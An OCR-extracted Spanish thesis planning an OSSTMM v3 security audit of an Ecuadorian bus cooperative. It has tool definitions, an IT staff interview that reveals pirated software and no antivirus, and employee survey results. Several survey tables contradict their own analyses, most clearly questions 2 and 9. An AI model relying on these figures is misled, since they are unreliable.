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RESUMEN EJECUTIVO

El presente proyecto de investigacion esta dirigida a la Cooperativa de Transportes Flota
Pelileo, que tiene como objetivo realizar una auditoria informatica para determinar
vulnerabilidades e incidentes que involucren la fuga o pérdida de informacién, siendo esto

de vital importancia para la continuidad de los servicios que presta la empresa.

Para ello se utiliza la metodologia OSSTMM vya que presenta una planificacion de
ejecucion y verificacion de la seguridad en entornos informaticos, cada una de las
secciones de la metodologia proporciona médulos de ayuda para el desarrollo del analisis
de seguridad, se toma la Seccion Seguridad de la Informacién y los médulos: Revision de
la Inteligencia Competitiva, Revision de la Privacidad y Recoleccion de Documentos,
Seccion Seguridad de las Tecnologias de Internet y los modulos: Sondeo de la Red,
Identificacidn de Servicios y Sistemas, Busqueda y Verificacion de Vulnerabilidades. Con
los resultados obtenidos de este andlisis se establecerd medidas de seguridad que nos
permitan minimizar riesgos en la operatividad evitando asi la fuga de informacion lo que
puede desencadenar en dafios incalculables para la Cooperativa de Transportes Flota

Pelileo.

Palabras clave: TI, metodologia, OSSTMM, evaluacidn, politicas.



ABSTRACT

This research project is aimed at the Cooperativa de Transportes Flota Pelileo, whose
objective is to carry out a computer audit to determine vulnerabilities and incidents that
involve the leakage or loss of information, this being of vital importance for the continuity

of the services it provides. the company.

For this, the OSSTMM methodology is used since it presents a planning of execution and
verification of security in computer environments, each of the sections of the methodology
provides help modules for the development of security analysis, the Security Section of
the Information and modules: Competitive Intelligence Review, Privacy Review and
Document Collection, Internet Technology Security Section and modules: Network
Survey, ldentification of Services and Systems, Search and Vulnerability Verification.
With the results obtained from this analysis, security measures will be established that
allow us to minimize risks in the operation, thus avoiding the leakage of information,

which can trigger incalculable damage for the Cooperativa de Transportes Flota Pelileo.

Keywords: IT, methodology, OSSTMM, evaluation, politics.



CAPITULO |

MARCO TEORICO

1.1 Tema de investigacion

AUDITORIA INFORMATICA MEDIANTE LA METODOLOGIA OSSTMM V3,
PARA LA GESTION DE LA SEGURIDAD EN LA COOPERATIVA DE
TRANSPORTES FLOTA PELILEO

1.2 Antecedentes investigativos

Revisando la investigacion bibliografica en algunas universidades del Ecuador se han

encontrados trabajos que serviran de apoyo en el trabajo de investigacion:

En la Universidad Politécnica Salesiana, Fabricio Zavala en su proyecto “Disefio e
Implementacion de Seguridades en la Red de Datos de la Planta Central del Ministerio de
Educacion y Cultura del Ecuador, aplicando la tecnologia OSSTMM?” en el afo 2010
recomienda que, para mantener un nivel alto de seguridad hay que estar constantemente
investigando nuevas herramientas de seguridad y analizar los resultados, ademas un
elemento fundamental son las politicas de seguridad planteadas, las mismas que se deben
cumplir a cabalidad sin excepcién alguna ya que solo basta uno que no cumpla para que
la seguridad quede vulnerada. Las conexiones remotas no deben realizarse como
administradores deben realizarse como usuarios de conexion y una vez ingresado darse

privilegios [1].

En la Universidad Técnica de Ambato, Gloria Huilca en su proyecto “Hacking Etico para



detectar vulnerabilidades en los servicios de la intranet del Gobierno Auténomo
Descentralizado Municipal del Canton Cevallos” en el afio 2012. Menciona que, “el
objetivo principal de la aplicacion de hacking ético es descubrir las deficiencias relativas
a seguridad y las vulnerabilidades de los sistemas informaticos, analizarlas, calibrar su
grado de riesgo y peligrosidad, y recomendar las posibles soluciones mas apropiadas para
cada una de ellas. Recomienda considerar la importancia y sensibilidad de la informacion
y servicios criticos de la intranet por lo que es necesario establecer politicas de seguridad

dentro de la institucion” [2].

En la Universidad Técnica de Ambato, Christian Miranda Silva en su proyecto “Auditoria
de redes, aplicando la metodologia OSSTMM V3, para el Ministerio de Inclusion
Economica y Social” en el afio 2019 concluye que “el buen ejercicio de una empresa
obedece a la eficiencia de su red y sus sistemas informaticos; una empresa puede
tener gente de primera, pero si posee una red propensa a fallos, vulnerable e
inestable y si no hay un equilibrio entre estas dos cosas, la empresa nunca podera

brindar un servicio de calidad” [3].

En la Universidad Técnica de Ambato, Joel Allaica Caranqui en su proyecto “Auditoria
de la Seguridad Informatica siguiendo la metodologia OPEN SOURCE SECURITY
TESTING METHODOLOGYMANUAL (OSSTMM) para la empresa MEGAPROFER
S.A” en el afio 2020 recomienda “mejorar las politicas de contingencia de seguridad
informatica planteadas con fin de mantener el 6ptimo funcionamiento de sus servicios y
ayuden al cumplimiento de las metas empresariales. Estas deben ser actualizadas

constantemente basado en la evolucion de la tecnologia” [4].

1.2.1 Contextualizacion del problema

“A nivel mundial la auditoria informética juega un papel relevante ya que permite mostrar

el estado en el que se encuentra la proteccion de la informacion y de los activos dentro de
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las organizaciones. Ademas, involucra la identificacion, andlisis y evaluacion de
debilidades en las medidas de seguridad que han sido aplicadas, asi como de los

componentes tecnoldgicos de la empresa” [5].

“En el caso especifico de las redes, la auditora esta relacionada con un método o un
conjunto de ellos para verificar el cumplimiento de los requisitos de seguridad” [5]. ES
necesario verificar que se cumplan los requisitos de seguridad dentro de una coleccion de
dispositivos interconectados como pueden ser routers, switches, hubs, computadoras y

dispositivos moviles, entre otros.

“En cuanto a nivel nacional en Ecuador en la Universidad Central del Ecuador el disefo
y aplicacion del procedimiento de auditora ha permitido comprobar la vulnerabilidad
desde el punto de vista practico, en cuanto a la madurez de las capacidades de los procesos
clasificados como primarios en la seguridad de las redes LAN arrojando resultados
desfavorables. Se demostrd6 que su aplicacion contribuyo a la realizacion de
recomendaciones necesarias para el mejoramiento de la seguridad de la red LAN de los
laboratorios de computadoras de la Facultad de Ingenieria Ciencias Fisicas y Matematica
de la Universidad” [6].

Al realizar evaluaciones de auditoria en seguridad de las redes LAN tanto como en
laboratorios de computadoras 0 empresas completas, se despierta el interés del personal
administrativo, lo cual es favorable porque se genera un ambiente de conciencia para

seguir con las normas establecidas.

La Cooperativa de Transportes Flota Pelileo tiene como mision ser lider y trabajar dia a
dia para alcanzar un nivel de calidad que agregue valor y seguir contribuyendo con la

sociedad en el servicio de boleteria y encomiendas.
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El gerente de la Cooperativa de Transportes Flota Pelileo se encuentra interesado en
conocer los posibles ataques hacia la Cooperativa, por motivo de que la informacion
diariamente es manipulada de suma importancia y en el mayor de los casos confidencial,
la cual no le gustaria perder o en el peor de los casos que se divulgue, asi que le gustaria
saber qué medidas deberia tomar, por lo cual la Cooperativa necesita una auditoria para
detectar posibles vulnerabilidades que pueda tener la red y de esta manera determinar las
medidas necesarias a tomar para evitar algun tipo de ataque y mejorar la eficiencia de la

red.

1.2.2 Fundamentacién tedrica

Auditoria

“Es la revision independiente de alguna o algunas actividades, funciones especificas,
resultados u operaciones de una entidad administrativa, realizada por un profesional de la
auditoria, con el propésito de evaluar su correcta realizacién y, con base en ese analisis,
poder emitir una opinién autorizada sobre la racionabilidad de sus resultados y el

cumplimiento de sus operaciones” [7].

Auditoria Informética

“Es la revision técnica, especializada y exhaustiva que se realiza a los sistemas
computacionales, software e informacion utilizados en una empresa, sean individuales,
compartidos y/o de redes, asi como a sus instalaciones, telecomunicaciones, mobiliario,
equipos periféricos y demas componentes. Dicha revision se realiza de igual manera a la
gestién informatica, el aprovechamiento de sus recursos, las medidas de seguridad y los
bienes de consumo necesarios para el funcionamiento del centro de cobmputo. El propdsito

fundamental es elevar el uso adecuado de los sistemas para el correcto ingreso de los datos,
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el procesamiento adecuado de la informacion y la emisién oportuna de sus resultados en
la institucion, incluyendo la evaluacion en el cumplimiento de las funciones, actividades
y operaciones de funcionarios, empleados y usuarios involucrados con los servicios que

proporcionan los sistemas computacionales a la empresa” [7].

Seguridad

“Proteccion de los bienes personales y del negocio, a través del uso de controles de

seguridad que restringen y gestionan el movimiento de personas y equipos” [8].

Auditoria de Seguridad Informatica

“Una auditoria de seguridad informatica es una evaluacion de los sistemas informaticos
cuyo fin es detectar errores y fallas mediante un informe detallado que se entrega al

responsable en el que se describe:

e Equipos instalados, servidores, programas, sistemas operativos.

e Procedimientos instalados

e Anadlisis de Seguridad en los equipos y en la red

e Analisis de la eficiencia de los Sistemas y Programas informaticos

e Vulnerabilidades que pudieran presentarse en una revision de las estaciones de

trabajo, redes de comunicaciones, servidores” [9].

Pruebas de Penetracion (PenTest)

“Una prueba de penetracidn es una operacion cuyo propdsito es evaluar la seguridad de

alguna infraestructura de TI al explotar sus debilidades y vulnerabilidades del mismo

12



modo que lo haria algun hacker mediante los sistemas operativos, servicios, aplicaciones,

configuraciones inapropiadas o comportamiento del usuario final” [10].

Escaner de Vulnerabilidades

“Herramientas de analisis para los equipos de toda la red. Determinan servicios que se

estan ejecutando en un equipo remoto” [11].

Herramientas de andlisis

NMAP: “Es un explorador de redes y puertos orientado a las auditorias de seguridad”
[12].

Maltego: “Es una herramienta de cddigo abierto creado por Paterva para el andlisis y la
visualizacion de las conexiones de datos, utiliza un sistema de entidades sobre las cuales
se pueden realizar transformaciones y asi obtener mayor informacion de la misma
(dispositivos, DNS, servidores de correo, ips, tecnologias aplicadas, documentos, nimeros

telefénicos, correos, etc.)” [13].

Buscador web de Google: “Buscador web de Google, es el primer producto de la empresa
Google Inc. y producto estrella de “esta. En “él se pueden realizar basquedas de webs por
la W.W.W. a base de un algoritmo exclusivo. Es el buscador mas utilizado por la

clasificacion de paginas web que realiza y sus opciones de bldsqueda avanzada” [14].

VisualRoute: “Esta herramienta permite de una manera grafica localizar los sitios por
donde fluye una informacién hasta llegar a un destino. Es Util para localizar por donde

pasa la informacion y desde donde se inicia a partir de una direccion web o una IP. Con
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esta herramienta podemos localizar el servidor de una web, lo que nos permite por tanto
investigar si es fiable o no. Ademas, permite realizar ping, tracer routers y realizar Whois”
[15].

TheHarvester: “El objetivo de este programa es reunir a los correos electrénicos,
subdominios, hosts, nombres de empleados de diferentes fuentes publicas, como los
motores de busqueda, los servidores de base de datos informaticas. Esta herramienta esta
disefiada para ayudar a los probadores de penetracion en las primeras etapas de la prueba

de penetracion a fin de comprender la huella de cliente en el Internet.

También es Gtil para cualquier persona que quiere saber lo que un atacante puede ver sobre

su organizacion” [16].

OpenVAS: “El Sistema de Evaluacion de Vulnerabilidad abierto (OpenVAS) es un marco
de diversos servicios y herramientas que ofrecen una solucion completa y potente de

analisis de vulnerabilidades y gestion de vulnerabilidades” [17].

Nessus: “Es un analizador de seguridad de redes potente y facil de usar, con una amplia
base de datos de plugins que se actualiza a diario. Nessus es creado por Tenable Network
Security Inc., el cual mejora permanentemente el motor Nessus, disefia plugins para el

analizador y directivas de auditoria” [18].

Vega: “Vega es un escaner de vulnerabilidades de codigo abierto y gratuito. Segun sus
propias palabras, Vega puede usarse "para pruebas rapidas y un proxy interceptor para
inspeccion tactica. El escaner Vega encuentra XSS (cross.site scripting), inyeccion de
SQL y otras vulnerabilidades. Vega se puede extender usando un poderoso API en el

lenguaje de la web: JavaScrip” 19].

14



“VEGA incluye un escaner automatizado para ejecutar verificaciones rapidas ademas de
un proxy de interpretacion para la inspeccion tactica. El escaner de VEGA encuentra XSS
(cross-site scripting), inyeccion de SQL y otras vulnerabilidades [20].

Metasploit Framework: “Es un framework desarrollada en Perl y Ruby en su mayor
parte, que provee informacion acerca de debilidades o vulnerabilidades de seguridad
informéatica y ayuda a la ejecucion de pruebas de penetracion, estd desarrollado en
lenguaje de programacion Ruby y es software libre, también cuenta con interfaces las

cuales se pueden utilizar para la explotacion de vulnerabilidades” [21].

Hping3: “Es un software orientado a la auditoria de la pila TCP / IP, para descubrir la
politica cortafuegos, para escanear los puertos TCP de diferentes modos, para transferir

archivos a través de un servidor de seguridad y muchas otras cosas” [22].

Hydra: “Es un software que permite realizar rapidos ataques de diccionario contra varios
protocolos en los que incluyen telnet, ftp, http, https, smb, ssh, varias bases de datos, y

mucho mas” [23].

Iptables: “Es la entrada de seguridad en una serie de servicios de firewall y administracion
de sistemas Linux, iptables es un producto de seguridad de uso generalizado mediante
reglas” [24].

Sslstrip: “Es un programa para sistemas operativos linux capaz de descifrar trafico https

que viaja a través de una red” [25].

Medusa: “Es otro cracker de contrasefias en linea para servicios de red. Tiene Las
caracteristicas de ser veloz, masivamente paralelo y modular. Actualmentete, cuenta con
modulos para los siguientes servicios: CVS, FTP, HTTP, IMAP, MS-SQL, NCP
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(NetWare), PcAnywhere, POP3, PostgresSQL, rexec, Rlogin, rsh, SMB, SMTP (VRFY),
SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC y un mddulo envoltorio genérico” [26].

“Medusa esta destinada a ser una fuerza bruta de inicio de sesion rapida, masivamente
paralela, modular. El objetivo es admitir tantos servicios que permitan la autenticacion

remota como sea posible” [11].

Kali Linux: “Es un Sistema Operativo orientado a la auditoria y seguridad informatica en
general.  Distribucion avanzada para Pruebas de Penetracion, Hacking Etico y

evaluaciones de la seguridad de la red” [27].

Hacking Etico: “Disciplina la cual esta orientada a la blsqueda de vulnerabilidades ya

sea en la red y aplicaciones para usarlas a beneficio de la misma empresa” [11].

Politicas: “Las politicas son instrucciones gerenciales que trazan una direccion

predeterminada o describen la manera de manejar un problema o situacion.

Se puede definir también como planteamientos de alto nivel que transmiten a los

trabajadores la orientacion que necesitan para tomar decisiones presentes y futuras.

Otro concepto que se puede dar, son requisitos generalizados que deben ser escritos en
papel y comunicados a ciertos grupos de personas dentro, y en algunos casos fuera, de la

organizacion. Las politicas también pueden considerarse como reglas de negocio” [28].

Contingencia: “La contingencia es el modo de ser de lo que puede suceder o no,

especialmente de un problema que se plantea de forma imprevista” [29].
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Plan de Contingencia: “Un plan de contingencias es un instrumento de gestion inmediata
de las Tecnologias de la Informacion y las Comunicaciones en relacion al soporte y el
desempefio” [30].

Metodologia: “Es un conjunto de procedimientos racionales utilizados para alcanzar una
gama de objetivos que rigen una investigacion cientifica, una exposicion doctrinal o tareas

que requieran habilidades, conocimientos o cuidados especificos” [31].

En la actualidad existen varias metodologias que permiten el desarrollo de una auditoria
informatica entre ellas Octave, ITIL, OSSTMM, etc.

OSSTM (Manual de la Metodologia Abierta de Testeo de Seguridad)

“OSSTMM es una metodologia estandarizada para una verificacion y medicién
exhaustivas del estado operativo y de seguridad actual. En realidad, es una gran cantidad
de charlas académicas para decir que el OSSTMM lo ayudara a realizar una prueba de
seguridad de acuerdo con una receta que le permite no solo ejecutar la mejor prueba
posible que puede generar de la manera mas eficiente (ahorrando tiempo ahorra dinero),
pero eso también le da numeros que representan de manera realista su nivel actual de
seguridad” [32].

Secciones y Modulos de OSSTMM

Esta formada por 6 items los cuales comprenden todo el sistema actual, estas son:

1. Seguridad de la Informacion
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En esta seccidn se revisa la privacidad de los empleados mediante la recoleccion de

informacion en internet, esta informacion es analizada en busca de datos que puedan

considerarse como privados y no deberian estar expuestos al exterior.

Revision de la Inteligencia Competitiva: informacion recolectada a partir de la
presencia en Internet.

Revision de la Privacidad: punto de vista legal y ético del

almacenamiento, transmision y control de los datos basados en la privacidad del
empleado.

Recoleccion de Documentos: en este mddulo es importante la verificacion de la
informacién obtenida y perteneciente a varios niveles de lo que se considera

seguridad de la informacion.

Seguridad de los Procesos

Esta seccion realiza pruebas en las cuales se pueda tener algin acceso o privilegio

mediante el uso de equipos de comunicacién y la informacion de la seccién anterior.

El testeo de solicitud: Busca obtener privilegios de acceso a una empresa y sus
activos mediante preguntas al personal de acceso, a través de diversos métodos
teniendo como principal la ingenieria social. La Ingenieria Social tiene un papel
fundamental en una gran cantidad de ciberataques, mas alla de lo grande, pequefio
o sofisticado que sea el crimen. Tal es el punto que siempre se ha mantenido como

“una constante a lo largo de toda la historia de la seguridad de Internet”.

El testeo de seguridad dirigida: Es la deteccion de puntos de accesos
privilegiados de una organizacion a traves del teléfono, e-mail. Chat, etc.
Convirtiéndose en otra rama de la ingenieria social por ende tienen gran relacion

con los modulos anteriores, la principal diferencia es que para este caso en cuestion
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el atacante se hace pasar por otro individuo.

e El testeo de las personas confiables: Es un método el cual busca obtener acceso
a la empresa a través de personas de confianza tales como un empleado o socio o
alguna persona interna, con el fin de recabar informacion. Este aparato evidencia
si existe algun camino o privilegio libre mediante la utilizacién de equipos de

comunicacion sumadas los datos recolectados del aparato anterior.

3. Seguridad de las Tecnologias de Internet

Esta seccion identifica los servicios de los servidores en cuestion y aplicaciones de internet
en busca de vulnerabilidades para luego de detectarlas proceder a explotarlas y generar su
posible solucion. También se realiza pruebas dirigidas en lo referente a peticiones de

internet y sistemas de deteccion de intrusos

Sondeo de la Red: introduccion a los sistemas a estudiar, se encuentra el nimero

de sistemas alcanzables que deben ser analizados sin exceder los limites legales.

¢ Identificacion de Servicios y Sistemas: prueba invasiva de los servicios y puertos

del sistema en los niveles de transporte y red.

e Busqueda y Verificacion de Vulnerabilidades: se identifica y verifica las
debilidades, errores de configuracion y vulnerabilidades en un servidor o en una

red.

4. Seguridad en las comunicaciones.

Esta seccion realiza pruebas en los dispositivos de comunicacion como son VolIP, FAX,
Correo de voz, PBX.
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5. Seguridad inaldambrica.

Se evaltan dispositivos que ofrecen comunicacion sin cables, el objetivo es buscar

configuraciones por defecto o comunicaciones inaldmbricas inadecuadas.

6. Seguridad Fisica.

Esta seccidn evalua la seguridad fisica de la institucion como son los controles de acceso,
monitoreo mediante camaras de seguridad, respuesta de alarmas ante amenazas o

catastrofes.

Seguridad de
los Procesos

Seguridad
Seguridad de | Fisica
la Informacion

N
Ss, & \e\(‘
%, S o\
NN 35 a2
0676, &G
e s N
Seguridad A8
Inalambrica

Figura 1: Mapa de seguridad OSSTMM
Fuente: Metodologia OSSTMM

Ventajas de OSSTM

e Se integra y toma en consideracion todos los estandares de seguridad de la
informacion.

e Ofrece una calidad incuestionable de resultados.

Desventajas de OSSTM
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e No hace referencia a que tipos de objetivos son ligados para cada test de
penetracion.

¢ No permite combinar su metodologia con otra.

Ambito y alcance de OSSTM

“El ambito de aplicacion de OSSTMM esté orientado hacia cualquier tipo organizacion,
independientemente del tamafio, tecnologia 0 medidas de seguridad. La aplicabilidad de
la metodologia engloba cualquier entorno donde se requieran aspectos de seguridad, ya
sea la seguridad fisica, la de los procesos, la de las comunicaciones y la del espectro

electromagnético indice” [13].

1.3 Objetivos

1.3.1 Objetivo General

Implementar una Auditoria de la Seguridad Informética para la Cooperativa de
Transportes Flota Pelileo mediante la Metodologia OSSTMM V3.

1.3.2 Objetivos Especificos

o Realizar el analisis situacional del area de Tecnologias de la Informacion de la
Cooperativa de Transportes Flota Pelileo.

e Realizar un analisis, planificado y metodico de los mecanismos de proteccion
internos y externos para la seguridad de la red de la Cooperativa de Transportes
Flota Pelileo.
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Identificar las vulnerabilidades de los servidores de la red informética que puedan
ser explotadas por intrusos malintencionados.

Elaborar un escenario para la simulacion de ataques programados al servidor de la
red informética para explotar las vulnerabilidades que puedan ser utilizadas por
los intrusos malintencionados.

Determinar politicas de contingencia de seguridad informéatica que mejore la
integridad, confiabilidad y disponibilidad de la informacion
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CAPITULO Il

METODOLOGIA

2.1 Materiales

e Entrevista
e Encuesta

e Observacion

2.2 Métodos

Modalidad de la investigacion

Investigacion de campo

La presente modalidad es considerada ya que se acudi6 a la Cooperativa de Transportes
Flota Pelileo y se realizé el conocimiento de la situacion actual, recolectando informacion,
por medio de técnicas e instrumentos para el proposito. Las técnicas utilizadas fueron:

entrevista, encuesta y la observacion.

Investigacion bibliografica y documental

Se realiz6 una investigacion bibliografica y documental obteniendo informacion valiosa
para el sustento del presente proyecto, también se recurrié a fuentes obtenidas de libros,
articulos, tesis desarrolladas en Universidades, con el objetivo de profundizar enfoques

con respecto al tema que sirvio en el proceso de la investigacion.
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2.3 Poblacién y muestra (en caso de requerir)

Para el presente proyecto de investigacion no se requiere de poblacion y muestra, se
realizd entrevista al encargado de la Tl y una encuesta al personal de la Cooperativa de

Transporte Flota Pelileo.

2.4 Recoleccion de Informacion

Para conocer la situacion actual de la Cooperativa de Transportes Flota Pelileo se acudié
a las instalaciones de la misma donde se utilizé los métodos de la observacion, la entrevista
al encargado de la Tl y una encuesta realizada a gerencia, presidencia, departamento
contable y 17 oficinas de la Cooperativa de Transporte Flota Pelileo, obteniendo
informacidn precisa, clara, también se hard uso de proyectos de investigacion, para asi

poder cumplir con los objetivos planeados.

2.5 Procesamiento y Analisis de Datos

Una vez terminada el proceso de recoleccion de informacion mediante la observacion

entrevista y encuesta se procedera con el analisis de los resultados.

El procesamiento de datos se lo efectuara utilizando una herramienta informatica a fin de
organizarlo a través de graficos de tal forma que permita observar el nivel de importancia

que tiene la realizacion esta auditoria de red.
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CAPITULO 11l

RESULTADOS Y DISCUSION

3.1 Desarrollo de la propuesta

Entrevista

Fue aplicada al encargado de la TI.

Obijetivo: Conocer la situacion actual de la Cooperativa y asi descubrir los problemas que

presenta.

1. ¢Cuentan con algun tipo de servidor?

Si, tenemos un solo servidor que es utilizado para el sistema de facturacion para boleteria

y encomiendas de la Cooperativa de Transportes Flota Pelileo.

2. ¢Las instalaciones de cableado y oficinas fueron disefiadas para su

funcionamiento?

No, solo son adaptaciones.

3. ¢Se cuenta con un inventario de todos los equipos que integran la red

informatica?
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No existe ningln tipo de documentacion, manuales.

4. ¢Cada cuénto tiempo se brinda mantenimiento preventivo a los equipos

informaticos?

Cada que los equipos presentan fallos ya que no se cuenta con ninguna planificacion de
mantenimiento.

5. ¢La habitacion del servidor cuenta con un sistema de refrigeracion?

No, el espacio donde esta el servidor es inadecuado en cuanto a temperatura y espacio.

6. ¢Qué sistemas informaticos tiene bajo su cargo o responsabilidad?

El area de Sistemas es responsable del mantenimiento de equipos, soporte al personal.

7. ¢Se tienen instalado programa antivirus corporativo en la Cooperativa con

sus respectivas licencias?

No posee ningun tipo de antivirus.

8. ¢Se identifican los tipos de usuarios, sus responsabilidades, permisos y
restricciones?

No, las responsabilidades, permisos y restricciones no son asignados de manera
especifica.
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9. ¢Se tienen instalados aplicaciones en cada equipo con sus respectivas

licencias?

No, solo se utiliza piratas.

10. ¢El sistema operativo que se maneja se revisa y actualiza el Software

Instalado frecuentemente?

No, ya que el sistema operativo es pirata.

Encuesta

Fue aplicada a 20 personas de la Cooperativa de Transportes Flota Pelileo.

Objetivo: Conocer la situacion actual de la Cooperativa y asi detectar los problemas que

presenta.

1. ¢Se cuentan con algun tipo de control de entradas y salidas del personal de la

Empresa?

Tabla 1: Pregunta No. 1

Items Frecuencia | Porcentaje
Si 0 0%
No 20 100%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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M Si

® No

Figura 2: Pregunta 1 de la encuesta.

Elaborado por: El Investigador

Analisis: El 100 % de encuestados menciona gque no cuentan con ningun tipo de software
que controle las salidas y entradas del personal. Este tipo de controles es beneficioso para
la Cooperativa ya que tiene una funcion de seguridad, con esto se controlaria quién ha

tenido acceso a las instalaciones a lo largo de la jornada.

2. ¢Sus contrasefas estan compuestas de una combinacion de: numeros, letras

mayusculas, minusculas y caracteres especiales?

Tabla 2: Pregunta No. 2

items Frecuencia | Porcentaje
Si 8 40%
No 12 60%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 3: Pregunta 2 de la encuesta.

Elaborado por: El Investigador

Analisis: El 60 % de los encuestados cumplen con todos los parametros, mientras que el
40% indica que no sigue este pardmetro para las contrasefias, esto es muy importante ya

que una contrasefia segura ayuda a preservar la privacidad de los datos.

3. ¢Su equipo de trabajo cuenta con internet? de ser el caso ¢como califica

el servicio?

Tabla 3: Pregunta No. 3

items Frecuencia | Porcentaje

No cuenta

Bueno 4 20%

Excelente 16 80%
Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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M Bueno

M Excelente

Figura 4: Pregunta 3 de la encuesta.

Elaborado por: El Investigador

Analisis: El 100% de los encuestados cuentan con acceso a internet, el 80% calificando

el servicio como excelente y el 20% como Regular.

4. ¢Se han conectado remotamente a su equipo de trabajo de la Cooperativa?

Tabla 4: Pregunta No. 4

Items Frecuencia | Porcentaje
Si 20 100%
No 0 0%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 5: Pregunta 4 de la encuesta.

Elaborado por: El Investigador

Analisis: EI 100% de los encuestados se han conectado remotamente. Las conexiones se
lo estan realizando por aplicaciones que utilizan los sistemas de criptografia reduciendo
asi el riesgo de la comunicacion sea interceptada y terceros puedan ver lo que se esta

trasmitiendo

5. ¢Su usuario y contrasefia, la tiene guardada en?

Tabla 5:Pregunta No. 5

items Frecuencia | Porcentaje
Celular 5 25%
Papel 5 25%
Memoria 10 50%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 6: Pregunta 5 de la encuesta.

Elaborado por: El Investigador

Anélisis: El 50% de los encuestados menciona que su usuario y contrasefia se memorizan,
el 25% lo tienen en el celular y el 25% tienen escrito en un papel, siendo esto un peligro

ya que terceras personas pueden acceder a informacion de la Cooperativa como personal.

6. ¢Conoce sobre Politicas de Seguridad Informatica?

Tabla 6: Pregunta No. 6

Items Frecuencia | Porcentaje
Si 3 15%
No 17 85%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 7: Pregunta 6 de la encuesta.

Elaborado por: El Investigador

Anélisis: El 85 % de encuestados no conoce sobre politicas de seguridad informatica y el
15% menciona conocer sobre este tema, por lo que se recomienda que se capacite al

personal sobre estos temas, para evitar el mal uso de la tecnologia.

7. ¢Conoce usted sobre los “ataques informaticos”, y las maneras de evitarlos?

Tabla 7: Pregunta No. 7

Items Frecuencia | Porcentaje
Si 3 15%
No 17 85%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 8: Pregunta 7 de la encuesta.

Elaborado por: El Investigador

M Si

B No

Anélisis: El 85% de los encuestados manifiesta que no conoce sobre ataques informaticos

y las maneras de evitarlos, y el 15% conoce sobre esto, siendo esto perjudicial ya que pone

en riesgo la informacién de la Cooperativa.

8. ¢Se tienen instalado programa antivirus en su equipo?

Tabla 8: Pregunta No. 8

items Frecuencia | Porcentaje
Si 0 0%
No 20 100%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 9: Pregunta 8 de la encuesta.

Elaborado por: El investigador.

Anélisis: El 100% de los encuestados no tiene en sus equipos instalados antivirus, esto se

corregir para cerrar la puerta a una posible infiltracion de informacion.

9. ¢Usted esta de acuerdo que se debe realizar una auditoria informatica para
para conocer las debilidades y desarrollar acciones con la gestion de la

informacién?

Tabla 9: Pregunta No. 9

items Frecuencia | Porcentaje
Si 0 0%
No 20 100%

Total 20 100%

Elaborado por: El investigador.

Fuente: Cooperativa de Transportes Flota Pelileo.
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Figura 10: Pregunta 9 de la encuesta.

Elaborado por: El investigador.

Analisis: ElI 100% de los encuestados estdn de acuerdo en que se debe realizar una
auditoria a la Cooperativa de Transportes, ya que, con los resultados obtenidos, se tomara

decisiones en beneficio de la misma.

3.2 Analisis de la situacion actual de la Cooperativa de Transportes Flota Pelileo

Historia

La Cooperativa de Transporte Flota Pelileo nace por la iniciativa visionaria de un grupo
de transportistas originarios de la ciudad de Pelileo ubicada en la Provincia de
Tungurahua, siendo su dia de fundacion el 24 de Agosto de 1959, convirtiéndose asi en
una empresa de viajes interprovincial que conecta una parte de la region interandina con
otras provincias y regiones de Ecuador, posicionandose como una cooperativa de mucha
tradicion y de uso comun de locales y turistas que deciden realizar viajes por via terrestre

desde y hacia esta localidad.
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Entre las principales rutas que recorren las unidades de esta empresa de transporte, se
encuentran localidades como Ambato, Guayaquil, Quito, Tena, Puyo, Coca y Milagro,
realizando frecuencias directas entre todas estas ciudades del pais meridional y teniendo

horarios recurrentes de salidas y llegadas de un bus por cada hora, normalmente.

Mision

Ser una organizacion cooperativa que realiza en forma permanente el servicio
interprovincial e intercantonal de transporte de pasajeros, turistas y encomiendas, desde y
hacia diferentes ciudades que tiene sus rutas y frecuencias y viceversa, con unidades
motorizadas en perfectas condiciones mecanicas, con confort y seguridad manteniendo
como principios la IGUALDAD, SOLIDARIDAD, COMPANERISMO Y
DEMOCRACIA.

Vision

Ser una operadora sin fines de lucro, lider de transporte de pasajeros, competitiva por
excelencia a nivel nacional y que pone al servicio de la ciudadania, modernos unidades
comodas, seguras y confortables, para un servicio optimo a la comunidad, cumpliendo

con los principios constitucionales del BUEN VIVIR.

Para los tramites ante el organismo provincial de transito la Cooperativa tomara el nombre
de OPERADORA DE TRANSPORTE.

Valores Corporativos
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Los valores de la cooperativa son los pilares mas importantes de cualquier organizacion.

Con ellos en realidad se define a si misma, porque los valores de una cooperativa son los

valores de sus miembros, y en especial los de sus dirigentes.

Lealtad: Cumplir las responsabilidades individuales para fortalecer la imagen
institucional.

Responsabilidad: Desarrollar con efectividad las tareas encomendadas.
Honestidad: Emprender actuaciones bajo criterios de discernimiento ético en la
gestion institucional.

Respeto: Comprender y valorar la libertad de pensamiento y los derechos
inherentes a cada persona.

Eficiencia: Se entregan resultados de calidad en base a la planificacion
institucional.

Compromiso: Demostrar vocacion de servicio y sentido de pertenencia frente a
la entidad, ejerciendo el liderazgo necesario para dar cumplimiento a los objetivos
de la organizacién, respetando el medio ambiente.

Competitividad: Aplicar la cultura de calidad en el servicio, ofreciendo una
amplia cobertura, que permita responder efectivamente frente a las exigencias del
mercado dentro de un mundo globalizado.

Solidaridad: Cooperacion permanente y continua en el desarrollo en los procesos

de la organizacion y en las relaciones interpersonales con clientes y usuarios.

Politicas Generales

Realizar todo trabajo con excelencia.

Brindar trato justo y esmerado a todos los clientes, en sus solicitudes y reclamos
considerando que el fin de la empresa es el servicio a la comunidad.

Todos los integrantes de la empresa deben mantener un comportamiento ético.

Desterrar toda forma de paternalismo y favoritismo, cumpliendo la reglamentacion
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vigente.

e Los puestos de trabajo en la empresa son de caracter poli-funcional; ningin
trabajador podréd negarse a cumplir una actividad para la que esté debidamente
capacitado.

e Impulsar el desarrollo de la capacidad y personalidad de los recursos humanos
